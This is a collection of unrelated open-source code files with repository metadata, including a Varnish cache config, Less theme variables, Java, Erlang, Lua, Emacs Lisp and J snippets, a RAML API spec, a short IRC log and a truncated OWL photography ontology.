# Backend Fetch
# vcl_backend_fetch: Called before sending the backend request. In this
# subroutine you typically alter the request before it gets to the backend.
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-built-in-subs.html#vcl-backend-fetch
# sub vcl_backend_fetch {
# return (fetch);
# }
# vcl_backend_response: Called after the response headers has been successfully
# retrieved from the backend.
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-built-in-subs.html#vcl-backend-response
sub vcl_backend_response {
/* Ban lurker friendly bans support */
# See https://www.varnish-cache.org/docs/4.0/users-guide/purging.html#bans
set beresp.http.X-Host = bereq.http.host;
set beresp.http.X-Url = bereq.url;
/* Caching exceptions */
# Varnish will cache objects with response codes:
# 200, 203, 300, 301, 302, 307, 404 & 410.
# SeeV3 https://www.varnish-software.com/static/book/VCL_Basics.html#the-initial-value-of-beresp-ttl
# Drupal's Imagecache module can return a 307 redirection to the requested
# url itself and, depending on Drupal's cache settings, this could lead to a
# redirection loop being cached for a long time but also we want Varnish to
# shield a little the backend.
# See http://drupal.org/node/1248010
# See http://drupal.org/node/310656
if ( beresp.status == 307
#TODO# verify that this work better than 'bereq.url ~ "imagecache"'
&& beresp.http.Location == bereq.url
&& beresp.ttl > 5s
) {
set beresp.ttl = 5s;
set beresp.http.cache-control = "max-age=5";
}
/* Request retrial */
if ( beresp.status == 500
|| beresp.status == 503
) {
#TODO# consider not restarting POST requests as seenV3 on https://www.varnish-cache.org/trac/wiki/VCLExampleSaintMode
return (retry);
}
/* Enable grace mode. Related with vcl_hit */
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-grace.html
# See https://www.varnish-software.com/blog/grace-varnish-4-stale-while-revalidate-semantics-varnish
set beresp.grace = 1h;
/* Strip cookies from the following static file types for all users. */
# Related with our 12th stage on vcl_recv
if ( bereq.url ~ "(?i)\.(bz2|css|eot|gif|gz|html?|ico|jpe?g|js|mp3|ogg|otf|pdf|png|rar|svg|swf|tbz|tgz|ttf|woff2?|zip)(\?(itok=)?[a-z0-9_=\.\-]+)?$"
) {
unset beresp.http.set-cookie;
}
/* Process ESI responses */
# Empty in simple configs.
# See https://www.varnish-cache.org/docs/4.0/users-guide/esi.html
# Send Surrogate-Capability headers
# See http://www.w3.org/TR/edge-arch
# Note that myproxyname is an identifier that should avoid collitions
# Check for ESI acknowledgement and remove Surrogate-Control header
#TODO# Add support for Surrogate-Control Targetting
# if ( beresp.http.Surrogate-Control ~ "ESI/1.0" ) {
# unset beresp.http.Surrogate-Control;
# set beresp.do_esi = true;
# }
/* Gzip response */
# Empty in simple configs.
# Use Varnish to Gzip respone, if suitable, before storing it on cache.
# See https://www.varnish-cache.org/docs/4.0/users-guide/compression.html
# See https://www.varnish-cache.org/docs/4.0/phk/gzip.html
if ( ! beresp.http.Content-Encoding
&& ( beresp.http.content-type ~ "(?i)text"
|| beresp.http.content-type ~ "(?i)application/x-javascript"
|| beresp.http.content-type ~ "(?i)application/javascript"
|| beresp.http.content-type ~ "(?i)application/rss+xml"
|| beresp.http.content-type ~ "(?i)application/xml"
|| beresp.http.content-type ~ "(?i)Application/JSON")
) {
set beresp.do_gzip = true;
}
/* Drupal 8's Big Pipe support */
# Tentative support, maybe 'set beresp.ttl = 0s;' is also needed
if ( beresp.http.Surrogate-Control ~ "BigPipe/1.0" ) {
set beresp.do_stream = true;
# Varnish gzipping breaks streaming of the first response
set beresp.do_gzip = false;
}
/* Debugging headers */
# Please consider the risks of showing publicly this information, we can wrap
# this with an ACL.
# We can add the name of the backend that has processed the request:
# set beresp.http.X-Varnish-Backend = beresp.backend.name;
# We can use a header to tell if the object was gziped by Varnish:
# if ( beresp.do_gzip ) {
# set beresp.http.X-Varnish-Gzipped = "yes";
# } else {
# set beresp.http.X-Varnish-Gzipped = "no";
# }
# We can do the same to tell if Varnish is streaming it:
# if ( beresp.do_stream ) {
# set beresp.http.X-Varnish-Streaming = "yes";
# } else {
# set beresp.http.X-Varnish-Streaming = "no";
# }
# We can also add headers informing whether the object is cacheable or not and why:
# SeeV3 https://www.varnish-cache.org/trac/wiki/VCLExampleHitMissHeader#Varnish3.0
if ( beresp.ttl <= 0s ) {
/* Varnish determined the object was not cacheable */
set beresp.http.X-Varnish-Cacheable = "NO:Not Cacheable";
} elsif ( bereq.http.Cookie ~ "(SESS|SSESS|NO_CACHE|OATMEAL|CHOCOLATECHIP)" ) {
/* We don't wish to cache content for logged in users or with certain cookies. */
# Related with our 9th stage on vcl_recv
set beresp.http.X-Varnish-Cacheable = "NO:Cookies";
# set beresp.uncacheable = true;
} elsif ( beresp.http.Cache-Control ~ "private" ) {
/* We are respecting the Cache-Control=private header from the backend */
set beresp.http.X-Varnish-Cacheable = "NO:Cache-Control=private";
# set beresp.uncacheable = true;
} else {
/* Varnish determined the object was cacheable */
set beresp.http.X-Varnish-Cacheable = "YES";
}
/* Further header manipulation */
# Empty in simple configs.
# We can also unset some headers to prevent information disclosure and save
# some cache space.
# unset beresp.http.Server;
# unset beresp.http.X-Powered-By;
# Retry count.
if ( bereq.retries > 0 ) {
set beresp.http.X-Varnish-Retries = bereq.retries;
}
/* Continue with built-in logic */
# We want built-in logic to be processed after ours so we don't call return.
}
# sub vcl_backend_response {
# if (beresp.ttl <= 0s ||
# beresp.http.Set-Cookie ||
# beresp.http.Surrogate-control ~ "no-store" ||
# (!beresp.http.Surrogate-Control &&
# beresp.http.Cache-Control ~ "no-cache|no-store|private") ||
# beresp.http.Vary == "*") {
# /*
# * Mark as "Hit-For-Pass" for the next 2 minutes
# */
# set beresp.ttl = 120s;
# set beresp.uncacheable = true;
# }
# return (deliver);
# }
# vcl_backend_error: This subroutine is called if we fail the backend fetch.
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-built-in-subs.html#vcl-backend-error
sub vcl_backend_error {
/* Try to restart request in case of failure */
#TODO# Confirm max_retries default value
# SeeV3 https://www.varnish-cache.org/trac/wiki/VCLExampleRestarts
if ( bereq.retries < 4 ) {
return (retry);
}
/* Debugging headers */
# Please consider the risks of showing publicly this information, we can wrap
# this with an ACL.
# Retry count
if ( bereq.retries > 0 ) {
set beresp.http.X-Varnish-Retries = bereq.retries;
}
set beresp.http.Content-Type = "text/html; charset=utf-8";
set beresp.http.Retry-After = "5";
synthetic( {"<!DOCTYPE html>
<html>
<head>
<title>"} + beresp.status + " " + beresp.reason + {"</title>
</head>
<body>
<h1>Error "} + beresp.status + " " + beresp.reason + {"</h1>
<p>"} + beresp.reason + {"</p>
<h3>Guru Meditation:</h3>
<p>XID: "} + bereq.xid + {"</p>
<hr>
<p>Varnish cache server</p>
</body>
</html>
"} );
/* Bypass built-in logic */
# We make sure no built-in logic is processed after ours returning at this
# point.
return (deliver);
}
#######################################################################
# Housekeeping
# vcl_init: Called when VCL is loaded, before any requests pass through it.
# Typically used to initialize VMODs.
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-built-in-subs.html#vcl-init
# Here is where you should declare your directors now.
# See https://www.varnish-cache.org/docs/4.0/reference/vmod_directors.generated.html
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-backends.html#directors
# Empty in simple configs
# sub vcl_init {
# return (ok);
# }
# vcl_fini: Called when VCL is discarded only after all requests have exited
# the VCL. Typically used to clean up VMODs.
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-built-in-subs.html#vcl-fini
# sub vcl_fini {
# return (ok);
# }
| VCL | 5 | Roll-Forward/docker-varnish | example.vcl | [
"Apache-2.0"
] |
// Color abstraction hierarchy:
// 1. Hex code (#428bca)
// 2. Common color name (@blue)
// 3. Generic color descriptor (@accent-primary, @background-primary)
// --------
// 4. Generic usage descriptor (@input-background, @button-background)
// 5. Application-specific usage (@unread-label-background)
// Typography abstraction hierarchy
// 1. Font-face (Nylas-Pro)
// 2. Common name (@bold, @italic)
// 3. Generic font descriptor mixins (.bold, .italic, .h1, .h2)
// --------
// 4. Generic usage descriptor (.btn-text, .p-body)
// 5. Application-specific usage (.message-list-h1)
//=============================== Colors ===============================//
//== Color Definitions
@black: #231f20;
@gray-base: #0a0b0c;
@gray-darker: lighten(@gray-base, 13.5%); // #222
@gray-dark: lighten(@gray-base, 20%); // #333
@gray: lighten(@gray-base, 33.5%); // #555
@gray-light: lighten(@gray-base, 46.7%); // #777
@gray-lighter: lighten(@gray-base, 92.5%); // #eee
@white: #ffffff;
@blue-dark: #3187e1;
@blue: #419bf9;
@blue-light: #009ec4;
//== Color Descriptors
@accent-primary: @blue;
@accent-primary-dark: @blue-dark;
@background-primary: @white;
@background-off-primary: #fdfdfd;
@background-secondary: #f6f6f6;
@background-tertiary: #6d7987;
@color-info: @blue-dark;
@color-success: #5CB346;
@color-warning: #f0ad4e;
@color-error: #d9534f;
@color-danger: #d9534f;
@component-active-color: @accent-primary-dark;
@component-active-bg: @background-primary;
@background-gradient: linear-gradient(to top, rgba(241,241,241,0.75) 0%,
rgba(253,253,253,0.75) 100%);
@border-color-primary: darken(@background-primary, 10%);
@border-color-secondary: darken(@background-secondary, 10%);
@border-color-tertiary: darken(@background-tertiary, 10%);
@border-color-divider: @border-color-secondary;
//============================= Typography =============================//
// ----- Colors -----
@text-color: @black;
@text-color-subtle: fadeout(@text-color, 20%);
@text-color-very-subtle: fadeout(@text-color, 50%);
@text-color-inverse: @white;
@text-color-inverse-subtle: fadeout(@text-color-inverse, 20%);
@text-color-inverse-very-subtle: fadeout(@text-color-inverse, 50%);
@text-color-heading: #434648;
@text-color-link: @blue;
@text-color-link-hover: @blue-dark;
@text-color-link-active: @blue-dark;
@text-color-selected: @text-color-inverse;
@text-color-search-match: #fff000;
@text-color-search-current-match: #ff8b1a;
@font-family-sans-serif: "Nylas-Pro", "Helvetica", sans-serif;
@font-family-serif: Georgia, "Times New Roman", Times, serif;
@font-family-monospace: Menlo, Monaco, Consolas, "Courier New", monospace;
@font-family: @font-family-sans-serif;
@font-family-heading: @font-family-sans-serif;
// ----- Font Weights -----
@font-weight-thin: 200;
@font-weight-blond: 300;
@font-weight-normal: 400;
@font-weight-medium: 500;
@font-weight-semi-bold: 600;
@headings-font-weight: 600;
// ----- Font Sizes -----
@font-size-base: 14px;
@font-size-tiny: @font-size-base * 0.75; // 10.5px
@font-size-smaller: @font-size-base * 0.86; // 12px
@font-size-small: @font-size-base * 0.93; // 13px
@font-size: @font-size-base; // 14px
@font-size-large: @font-size-base * 1.14; // 16px
@font-size-larger: @font-size-base * 1.29; // 18px
@font-size-h1: @font-size-base * 1.71; // 24px
@font-size-h2: @font-size-base * 1.71; // 24px
@font-size-h3: @font-size-base * 1.43; // 20px
@font-size-h4: @font-size-base * 1.29; // 18px
@font-size-h5: @font-size-base;
@font-size-h6: @font-size-base * 0.86; // 12px
// ----- Line Height -----
@line-height-base: 1.5; // 22.5/15
@line-height-computed: floor((@font-size-base * @line-height-base)); // ~20px
@line-height-heading: 1.1;
//============================== Spacing ===============================//
// Define common padding and border radius sizes and more. Values based on
// 14px text and 1.428 line-height (~20px to start).
@spacing-standard: @font-size-base;
@spacing-quarter: @spacing-standard * 0.25;
@spacing-half: @spacing-standard * 0.5;
@spacing-three-quarters: @spacing-standard * 0.75;
@spacing-double: @spacing-standard * 2;
@padding-base-vertical: 5px;
@padding-base-horizontal: 12px;
@padding-large-vertical: 9px;
@padding-large-horizontal: 16px;
@padding-small-vertical: 4px;
@padding-small-horizontal: 10px;
@padding-xs-vertical: 1px;
@padding-xs-horizontal: 5px;
@line-height-large: @line-height-computed * 1.3;
@line-height-small: @line-height-computed * 0.95;
@border-radius-base: 3px;
@border-radius-large: 5px;
@border-radius-small: 2px;
//============================== Shadows ===============================//
@standard-shadow-color: rgba(0, 0, 0, 0.15);
@standard-shadow: 0 1px 4px 0 @standard-shadow-color;
@standard-shadow-up: 0 -1px 4px 0 @standard-shadow-color;
@shadow-border: 0 0.5px 0 @standard-shadow-color, 0 -0.5px 0 @standard-shadow-color,
0.5px 0 0 @standard-shadow-color, -0.5px 0 0 @standard-shadow-color;
//=============================== Buttons ==============================//
@btn-shadow: @standard-shadow;
@btn-default-bg-color: darken(@background-primary, 0.5%);
@btn-default-text-color: @text-color;
@btn-icon-color: #919191;
@btn-action-bg-color: @color-success;
@btn-action-text-color: @text-color;
@btn-emphasis-bg-color: #5b90fb;
@btn-emphasis-text-color: @text-color-inverse;
@btn-danger-bg-color: @color-danger;
@btn-danger-text-color: @text-color-inverse;
//=============================== Dropdowns ============================//
@dropdown-default-bg-color: @background-primary;
@dropdown-default-text-color: @text-color;
@dropdown-default-border-color: fadeout(@border-color-primary, 10%);
//=============================== Inputs ===============================//
@input-bg: @white;
@input-bg-disabled: @gray-lighter;
@input-border-color: fadeout(@border-color-primary, 10%);
@input-border-color-blurred: desaturate(@input-border-color, 100%);
@input-font-size: 14px;
//=============================== Components ===========================//
//== Toolbar
@toolbar-background-color: darken(@white, 17.5%);
//== Account Sidebar
@panel-background-color: @gray-lighter;
@source-list-bg: @panel-background-color;
@source-list-active-bg: @panel-background-color;
@source-list-active-color: @component-active-color;
//== Thread List (e.g, `.list-group-item`, `.list-item`)
@list-bg: @white;
@list-border: #ddd;
@list-hover-bg: darken(@list-bg, 4%);
@list-focused-color: @list-bg;
@list-focused-bg: @component-active-color;
@list-focused-border: @list-focused-bg;
@list-selected-color: inherit;
@list-selected-bg: mix(@component-active-color, @list-bg, 17%);
@list-selected-border: mix(@component-active-color, @list-bg, 50%);
//== Notifications
@background-color-info: @blue-light;
@background-color-success: #00ac6f;
@background-color-warning: #ff4800;
@background-color-error: #ca2541;
@background-color-pending: #b4babd;
//== Menus
@menu-item-color-hover: fade(@blue-light, 10%);
@menu-item-color-selected: @blue-light;
@menu-text-color-selected: @text-color-inverse;
//== Sizes
@component-padding: 10px;
@component-icon-padding: 5px;
@component-icon-size: 16px;
@component-line-height: 25px;
@component-border-radius: 2px;
// Helpers for Specs - Do Not Remove
@spec-test-variable: rgb(152,123,0);
| Less | 5 | cnheider/nylas-mail | packages/client-app/static/variables/ui-variables.less | [
"MIT"
] |
package com.baeldung.algorithms.minheapmerge;
import static org.hamcrest.CoreMatchers.equalTo;
import static org.hamcrest.CoreMatchers.is;
import static org.junit.Assert.assertThat;
import org.junit.Test;
public class MinHeapUnitTest {
private final int[][] inputArray = { { 0, 6 }, { 1, 5, 10, 100 }, { 2, 4, 200, 650 } };
private final int[] expectedArray = { 0, 1, 2, 4, 5, 6, 10, 100, 200, 650 };
@Test
public void givenSortedArrays_whenMerged_thenShouldReturnASingleSortedarray() {
int[] resultArray = MinHeap.merge(inputArray);
assertThat(resultArray.length, is(equalTo(10)));
assertThat(resultArray, is(equalTo(expectedArray)));
}
}
| Java | 4 | DBatOWL/tutorials | algorithms-miscellaneous-6/src/test/java/com/baeldung/algorithms/minheapmerge/MinHeapUnitTest.java | [
"MIT"
] |
-module(petstore_api_response).
-export([encode/1]).
-export_type([petstore_api_response/0]).
-type petstore_api_response() ::
#{ 'code' => integer(),
'type' => binary(),
'message' => binary()
}.
encode(#{ 'code' := Code,
'type' := Type,
'message' := Message
}) ->
#{ 'code' => Code,
'type' => Type,
'message' => Message
}.
| Erlang | 4 | MalcolmScoffable/openapi-generator | samples/client/petstore/erlang-client/src/petstore_api_response.erl | [
"Apache-2.0"
] |
if w2nn and w2nn.LeakyReLU then
return w2nn.LeakyReLU
end
local LeakyReLU, parent = torch.class('w2nn.LeakyReLU','nn.Module')
function LeakyReLU:__init(negative_scale)
parent.__init(self)
self.negative_scale = negative_scale or 0.333
self.negative = torch.Tensor()
end
function LeakyReLU:updateOutput(input)
self.output:resizeAs(input):copy(input):abs():add(input):div(2)
self.negative:resizeAs(input):copy(input):abs():add(-1.0, input):mul(-0.5*self.negative_scale)
self.output:add(self.negative)
return self.output
end
function LeakyReLU:updateGradInput(input, gradOutput)
self.gradInput:resizeAs(gradOutput)
-- filter positive
self.negative:sign():add(1)
torch.cmul(self.gradInput, gradOutput, self.negative)
-- filter negative
self.negative:add(-1):mul(-1 * self.negative_scale):cmul(gradOutput)
self.gradInput:add(self.negative)
return self.gradInput
end
function LeakyReLU:clearState()
nn.utils.clear(self, 'negative')
return parent.clearState(self)
end
| Lua | 4 | Nyanarchy/waifu2x | lib/LeakyReLU.lua | [
"MIT"
] |
AudioBufferSource id2 { url https://raw.githubusercontent.com/borismus/webaudioapi.com/master/content/posts/audio-tag/chrono.mp3
, loop true} [ gain ]
Gain gain { gain 2 } [ conv ]
Convolver conv { url assets/ogg/irHall.ogg } [ output ]
End | Augeas | 2 | newlandsvalley/purescript-audiograph | audiograph-editor/dist/augsamples/Convolution.aug | [
"MIT"
] |
SELECT * { } BINDINGS ?x ?y { (1 2) }
| SPARQL | 0 | yanaspaula/rdf4j | testsuites/sparql/src/main/resources/testcases-sparql-1.1-w3c/syntax-query/syntax-bindings-05.rq | [
"BSD-3-Clause"
] |
__kernel_virt_addr_space_size = 2 * 1024 * 1024 * 1024
| Linker Script | 0 | TomaszWaszczyk/rust-raspberrypi-OS-tutorials | 16_virtual_mem_part4_higher_half_kernel/src/bsp/raspberrypi/kernel_virt_addr_space_size.ld | [
"Apache-2.0",
"MIT"
] |
coclass 'TestKNN'
coinsert 'TestBase'
create=: 3 : 0
''
)
test1=: 3 : 0
D=: 99 3 $ , (=@i.) 3
R=: D
knn=: (D;R;7;D) conew 'KNN'
predict__knn ''
(33 33 33&-:@:(#/.~)) assertTrue maxClasses__knn
)
run=: 3 : 0
test1 testWrapper 'Knn test 1'
''
)
destroy=: 3 : 0
if. -. knn-: '' do. destroy__knn '' end.
codestroy ''
)
tk=: '' conew 'TestKNN'
run__tk 0 | J | 3 | jonghough/jlearn | test/testknn.ijs | [
"MIT"
] |
;;; lang/lua/autoload/lua.el -*- lexical-binding: t; -*-
(defun +lua-love-build-command ()
(when-let (root (+lua-love-project-root))
(format "%s %s"
(if (executable-find "love")
"love"
(if IS-MAC "open -a love.app"))
(shell-quote-argument root))))
;;;###autoload
(defun +lua-love-project-root ()
"Returns the directory where a main.lua or main.moon exists.
Returns nil if 'love' executable can't be found."
(when (executable-find "love")
(if (doom-project-p)
(file-name-directory
(or (project-file-exists-p! (or "main.lua" "src/main.lua"))
(and (featurep! +moonscript)
(project-file-exists-p! (or "main.moon" "src/main.moon")))
""))
;; Since Love2D games are likely to be prototypes, they may not be in a
;; well-formed project as far as projecitle is concerned, so we search for
;; main.lua/main.moon up the file tree as a backup.
(or (projectile-locate-dominating-file default-directory "main.lua")
(when-let (root (projectile-locate-dominating-file default-directory "src/main.lua"))
(expand-file-name "src" root))
(and (featurep! +moonscript)
(or (projectile-locate-dominating-file default-directory "main.moon")
(when-let (root (projectile-locate-dominating-file default-directory "src/main.moon"))
(expand-file-name "src" root))))))))
;;
;;; Commands
;;;###autoload
(defun +lua/open-repl ()
"Open Lua REPL."
(interactive)
(lua-start-process "lua" "lua")
(pop-to-buffer lua-process-buffer))
;;;###autoload
(defun +lua/run-love-game ()
"Run the current project with Love2D."
(interactive)
(if-let (cmd (+lua-love-build-command))
(async-shell-command cmd)
(user-error "Couldn't find love project")))
| Emacs Lisp | 5 | leezu/doom-emacs | modules/lang/lua/autoload/lua.el | [
"MIT"
] |
At: "local-02.hac":4:
parse error: syntax error
parser stacks:
state value
#STATE# (null)
#STATE# keyword: chan [4:1..4]
#STATE# ! [4:5]
in state #STATE#, possible rules are:
base_chan_type: CHANNEL . data_type_ref_list_optional_in_parens (#RULE#)
acceptable tokens are:
'(' (shift)
| Bison | 1 | broken-wheel/hacktist | hackt_docker/hackt/test/parser/channel/local-02.stderr.bison | [
"MIT"
] |
%%---------------------------------------------------------------------------
%% A test case with:
%% - a genuine matching error -- 1st branch
%% - a violation of the opacity of timer:tref() -- 2nd branch
%% - a subtle violation of the opacity of timer:tref() -- 3rd branch
%% The test is supposed to check that these cases are treated properly.
%%---------------------------------------------------------------------------
-module(timer_use).
-export([wrong/0]).
-spec wrong() -> error.
wrong() ->
case timer:kill_after(42, self()) of
gazonk -> weird;
{ok, 42} -> weirder;
{Tag, gazonk} when Tag =/= error -> weirdest;
{error, _} -> error
end.
| Erlang | 4 | jjhoo/otp | lib/dialyzer/test/opaque_SUITE_data/src/timer/timer_use.erl | [
"Apache-2.0"
] |
#%RAML 0.8
---
title: Starhackit
baseUri: http://localhost:8080/api/v1/db
version: v1
mediaType: application/json
protocols: [ HTTP, HTTPS ]
documentation:
- title: Database Explorer REST API
content: 'Database Explorer REST API documentation'
/schema:
description: Get the database schema
get:
responses:
200:
body:
example: !include db.schema.out.sample.json
| RAML | 3 | surumen/msoma.org | server/src/plugins/dbSchema/raml/db.explorer.raml | [
"Unlicense"
] |
2019-09-18 23:34:59 --> kky (~kky@103.117.23.112) has joined #Root-Me
2019-09-18 23:35:00 -- Channel #Root-Me: 5 nicks (1 op, 0 voices, 4 normals)
2019-09-18 23:35:02 -- Channel created on Fri, 12 Feb 2010 22:34:49
2019-09-18 23:35:14 kky how come this is so deserted
2019-09-18 23:35:21 -- irc: disconnected from server
| IRC log | 0 | akshaykumar23399/DOTS | weechat/logs/irc.freenode.#root-me.weechatlog | [
"Unlicense"
] |
<?xml version="1.0"?>
<!DOCTYPE rdf:RDF [
<!ENTITY owl "http://www.w3.org/2002/07/owl#" >
<!ENTITY dc "http://purl.org/dc/elements/1.1/" >
<!ENTITY xsd "http://www.w3.org/2001/XMLSchema#" >
<!ENTITY owl2xml "http://www.w3.org/2006/12/owl2-xml#" >
<!ENTITY rdfs "http://www.w3.org/2000/01/rdf-schema#" >
<!ENTITY rdf "http://www.w3.org/1999/02/22-rdf-syntax-ns#" >
<!ENTITY photography "http://www.co-ode.org/ontologies/photography/photography.owl#" >
<!ENTITY photography4 "http://www.co-ode.org/ontologies/photography/photography.owl#4" >
<!ENTITY photography5 "http://www.co-ode.org/ontologies/photography/photography.owl#35" >
<!ENTITY photography9 "http://www.co-ode.org/ontologies/photography/photography.owl#80" >
<!ENTITY photography8 "http://www.co-ode.org/ontologies/photography/photography.owl#18" >
<!ENTITY photography2 "http://www.co-ode.org/ontologies/photography/photography.owl#120" >
<!ENTITY photography3 "http://www.co-ode.org/ontologies/photography/photography.owl#135" >
<!ENTITY photography7 "http://www.co-ode.org/ontologies/photography/photography.owl#35-55" >
<!ENTITY photography6 "http://www.co-ode.org/ontologies/photography/photography.owl#20-100" >
]>
<rdf:RDF xmlns="http://www.co-ode.org/ontologies/photography/photography.owl#"
xml:base="http://www.co-ode.org/ontologies/photography/photography.owl"
xmlns:owl2xml="http://www.w3.org/2006/12/owl2-xml#"
xmlns:photography4="&photography;4"
xmlns:photography5="&photography;35"
xmlns:xsd="http://www.w3.org/2001/XMLSchema#"
xmlns:photography7="&photography;35-55"
xmlns:photography3="&photography;135"
xmlns:photography8="&photography;18"
xmlns:rdfs="http://www.w3.org/2000/01/rdf-schema#"
xmlns:owl="http://www.w3.org/2002/07/owl#"
xmlns:photography6="&photography;20-100"
xmlns:photography="http://www.co-ode.org/ontologies/photography/photography.owl#"
xmlns:photography9="&photography;80"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:photography2="&photography;120"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<owl:Ontology rdf:about="">
<todo
>High contrast can be controlled with flash and higher shutter speed.</todo>
<dc:rights
>copyright The University of Manchester, 2008</dc:rights>
<dc:coverage
>An ontology of photography and cameras.
Focus (no pun intended) on the *relative* effect of photographer-controlled factors (such as aperture, shutter speed, equipment used etc) on the properties of the image produced (motion blur, depth of field etc). This may be remodelled to allow absolute values.
Other subsidiary areas of detail include:
- lens characterisation by focal length
- media characterisation by size (ie films and cameras)
- "conditions" - the beginnings of a diagnostics application that it will hopefully be possible to query for suggestions of what action to take</dc:coverage>
<query
>Adjustment and allows some IncreaseShutterSpeed</query>
<todo
>Lots more annotations</todo>
<dc:language>English</dc:language>
<todo
>Equipment and isSuitableFor some DarkLocation</todo>
<owl:versionInfo>initial draft</owl:versionInfo>
<query
>getSuperClasses of:
Lens and (hasMinEffectiveFocalLength value 35) and (hasMaxEffectiveFocalLength value 120)</query>
<query
>Equipment and reduces some Blur</query>
<dc:date>3rd Nov 2008</dc:date>
<rdfs:comment
>A very much work in progress model of photography used to:
- provide more experience of using p4 in a real setting
- provide a model for a small demo application (to be released)</rdfs:comment>
<dc:creator>Nick Drummond</dc:creator>
<query
>Adjustment and increases some ExposureLevel and not(affects some DepthOfField)</query>
<todo
>investigate why this does not currently classify in pellet</todo>
</owl:Ontology>
<!--
///////////////////////////////////////////////////////////////////////////////////////
//
// Annotation properties
//
///////////////////////////////////////////////////////////////////////////////////////
-->
<owl:AnnotationProperty rdf:about="&dc;language"/>
<owl:AnnotationProperty rdf:about="#query"/>
<owl:AnnotationProperty rdf:about="&dc;coverage"/>
<owl:AnnotationProperty rdf:about="#test"/>
<owl:AnnotationProperty rdf:about="&dc;rights"/>
<owl:AnnotationProperty rdf:about="&dc;creator"/>
<owl:AnnotationProperty rdf:about="&dc;date"/>
<owl:AnnotationProperty rdf:about="#todo"/>
<owl:AnnotationProperty rdf:about="#synonym"/>
<!--
///////////////////////////////////////////////////////////////////////////////////////
//
// Object Properties
//
///////////////////////////////////////////////////////////////////////////////////////
-->
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#affects -->
<owl:ObjectProperty rdf:about="#affects"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#allows -->
<owl:ObjectProperty rdf:about="#allows"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#compresses -->
<owl:ObjectProperty rdf:about="#compresses">
<rdfs:subPropertyOf rdf:resource="#reduces"/>
</owl:ObjectProperty>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#corrects -->
<owl:ObjectProperty rdf:about="#corrects">
<rdfs:subPropertyOf rdf:resource="#affects"/>
</owl:ObjectProperty>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#exagerates -->
<owl:ObjectProperty rdf:about="#exagerates">
<rdfs:subPropertyOf rdf:resource="#increases"/>
</owl:ObjectProperty>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasAperture -->
<owl:ObjectProperty rdf:about="#hasAperture"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasFeature -->
<owl:ObjectProperty rdf:about="#hasFeature"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasFormat -->
<owl:ObjectProperty rdf:about="#hasFormat"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasLens -->
<owl:ObjectProperty rdf:about="#hasLens">
<rdfs:subPropertyOf rdf:resource="#hasPart"/>
</owl:ObjectProperty>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasLevel -->
<owl:ObjectProperty rdf:about="#hasLevel"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasParameter -->
<owl:ObjectProperty rdf:about="#hasParameter"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasPart -->
<owl:ObjectProperty rdf:about="#hasPart">
<rdf:type rdf:resource="&owl;TransitiveProperty"/>
</owl:ObjectProperty>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasSensitiveMedia -->
<owl:ObjectProperty rdf:about="#hasSensitiveMedia"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasShape -->
<owl:ObjectProperty rdf:about="#hasShape"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasShutterSpeed -->
<owl:ObjectProperty rdf:about="#hasShutterSpeed"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasSubject -->
<owl:ObjectProperty rdf:about="#hasSubject"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#increases -->
<owl:ObjectProperty rdf:about="#increases">
<rdfs:comment
>Cannot make increases and reduces disjoint - this introduces a non-simple role</rdfs:comment>
<rdfs:subPropertyOf rdf:resource="#affects"/>
</owl:ObjectProperty>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#isSuitableFor -->
<owl:ObjectProperty rdf:about="#isSuitableFor"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#isUsedToTake -->
<owl:ObjectProperty rdf:about="#isUsedToTake"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#producesImage -->
<owl:ObjectProperty rdf:about="#producesImage"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#producesLightType -->
<owl:ObjectProperty rdf:about="#producesLightType"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#reduces -->
<owl:ObjectProperty rdf:about="#reduces">
<rdfs:subPropertyOf rdf:resource="#affects"/>
</owl:ObjectProperty>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#requires -->
<owl:ObjectProperty rdf:about="#requires">
<owl:inverseOf rdf:resource="#isSuitableFor"/>
</owl:ObjectProperty>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#uses -->
<owl:ObjectProperty rdf:about="#uses"/>
<!--
///////////////////////////////////////////////////////////////////////////////////////
//
// Data properties
//
///////////////////////////////////////////////////////////////////////////////////////
-->
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasColourTemperature -->
<owl:DatatypeProperty rdf:about="#hasColourTemperature">
<rdfs:comment
>Light temperature measured in Kelvin (~2000-50,000).
Low temperatures are warmer.</rdfs:comment>
</owl:DatatypeProperty>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasDepthOfField -->
<owl:DatatypeProperty rdf:about="#hasDepthOfField"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasDuration -->
<owl:DatatypeProperty rdf:about="#hasDuration">
<rdfs:comment
>Normalised to seconds.</rdfs:comment>
</owl:DatatypeProperty>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasExposure -->
